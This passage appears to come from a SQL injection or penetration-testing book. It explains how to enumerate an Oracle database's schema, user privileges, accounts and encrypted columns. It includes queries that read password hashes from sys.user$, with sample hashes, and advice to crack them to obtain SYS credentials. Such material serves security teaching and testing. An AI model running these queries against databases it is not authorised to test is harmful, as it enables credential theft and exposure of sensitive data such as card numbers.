Oracle
The last example we will
cover is how to enumerate the database schema when the back-end DBMS is
Oracle. An important fact to remember when using Oracle is that you
will normally be accessing only one database at a time, as databases in
Oracle are normally accessed via a specific connection, and multiple
databases accessed by an application will generally have different
connections. Therefore, unlike SQL Server and MySQL, you won't be
enumerating the databases present when finding the database schema.
The first thing you may be
interested in is the list of tables that belong to the current user. In
the context of an application, this will generally be the application
tables in the database:
select table_name from user_tables;
You can extend this to look at all of the tables in the database and their owners:
select owner,table_name from all_tables;
You can enumerate some
more information about your application tables to determine the number
of columns and rows that are present in the tables as follows:
select a.table_name||'['||count(*)||']='||num_rows from user_tab_columns a,
user_tables b where a.table_name=b.table_name group by
a.table_name,num_rows
EMP[8]=14
DUMMY[1]=1
DEPT[3]=4
SALGRADE[3]=5
And
you can enumerate the same information for all accessible/available
tables, including their users, table names, and the number of rows in
these tables as follows:
select b.owner||'.'||a.table_name||'['||count(*)||']='||num_rows from
all_tab_columns a, all_tables b where a.table_name=b.table_name group by
b.owner,a.table_name,num_rows
Finally, you can
enumerate the columns and data types in each table as follows, allowing
you to get a more complete picture of the database schema:
select table_name||':'||column_name||':'||data_type||':'||column_id from
user_tab_columns order by table_name,column_id
DEPT:DEPTNO:NUMBER:1
DEPT:DNAME:VARCHAR2:2
DEPT:LOC:VARCHAR2:3
DUMMY:DUMMY:NUMBER:1
EMP:EMPNO:NUMBER:1
EMP:ENAME:VARCHAR2:2
EMP:JOB:VARCHAR2:3
EMP:MGR:NUMBER:4
EMP:HIREDATE:DATE:5
EMP:SAL:NUMBER:6
EMP:COMM:NUMBER:7
EMP:DEPTNO:NUMBER:8
SALGRADE:GRADE:NUMBER:1
SALGRADE:LOSAL:NUMBER:2
SALGRADE:HISAL:NUMBER:3
Another thing you may
be interested in is obtaining the privileges of the current database
user, which you can do as an unprivileged user. The following queries
return the privileges of the current user. In Oracle, there are four
different kinds of privileges (SYSTEM, ROLE, TABLE, and COLUMN).
To get system privileges for the current user:
select * from user_sys_privs; --show system privileges of the current user
To get role privileges for the current user:
select * from user_role_privs; --show role privileges of the current user
To get table privileges for the current user:
select * from user_tab_privs;
To get column privileges for the current user:
select * from user_col_privs;
To get the list of all possible privileges you must replace the user string in the preceding queries with all, as follows.
To get all system privileges:
select * from all_sys_privs;
To get all role privileges:
select * from all_role_privs;
To get all table privileges:
select * from all_tab_privs;
To get all column privileges:
select * from all_col_privs;
Now that you have a listing
of the database schema and some information about your current user, you
may be interested in enumerating other information in the database,
such as a list of all of the users in the database. The following query
returns a list of all users in the database. This query has the
advantage that, by default, it can be executed by any user of the
database.
select username,created from all_users order by created desc;
SCOTT 04–JAN–09
PHP 04–JAN–09
PLSQL 02–JAN–09
MONODEMO 29–DEC–08
DEMO1 29–DEC–08
ALEX 14–DEC–08
OWBSYS 13–DEC–08
FLOWS_030000 13–DEC–08
APEX_PUBLIC_USER 13–DEC–08
You can query
additional items as well, depending on the version of the database in
use. For example, an unprivileged user in versions up to Oracle 10g Rel.
2 can retrieve the database usernames and password hashes with the
following SELECT statement:
SELECT name, password, astatus FROM sys.user$ where type#>0 and
length(password)=16 (priv), astatus (0= open, 9= locked&expired)
SYS AD24A888FC3B1BE7 0
SYSTEM BD3D49AD69E3FA34 0
OUTLN 4A3BA55E08595C81 9
You can test or crack the
password hashes with publicly available tools, possibly allowing you to
obtain credentials for a privileged database account such as SYS.
In Oracle 11g, Oracle has changed the password hashing algorithm in
use, and the password hash is now located in a different column—spare4, as follows:
SELECT name,spare4 FROM sys.user$ where type#>0 and length(spare4)=62
SYS
S:1336FB26ACF58354164952E502B4F726FF8B5D382012D2E7B1EC99C426A7
SYSTEM
S:38968E8CEC12026112B0010BCBA3ECC2FD278AFA17AE363FDD74674F2651
If
the current user is a privileged one, or access as a privileged user
has been obtained, you can look for a number of other interesting pieces
of information in the database structure. Since Oracle 10g Rel. 2,
Oracle offers the capability of transparently encrypting columns in the
database. Normally, only the most important or sensitive tables will be
encrypted, and therefore you are interested in finding these tables as
follows:
select table_name,column_name,encryption_alg,salt from
dba_encrypted_columns;
TABLE_NAME COLUMN_NAME ENCRYPTION_ALG SAL
-----------------------------------------------------------------------------------
CREDITCARD CCNR AES256 NO
CREDITCARD CVE AES256 NO
CREDITCARD VALID AES256 NO
Another piece of
information that could be useful, if you have a privileged account, is
to know what database administrator (DBA) accounts exist within the
database, as follows:
Select grantee,granted_role,admin_option,default_role from dba_role_privs
where granted_role='DBA';
Tip
Enumerating
a full database by hand can be a very tedious task. Although it can be
fairly easy to quickly code a small program to perform the task for you
(using your favorite scripting language), several free tools are
available that automate the process.
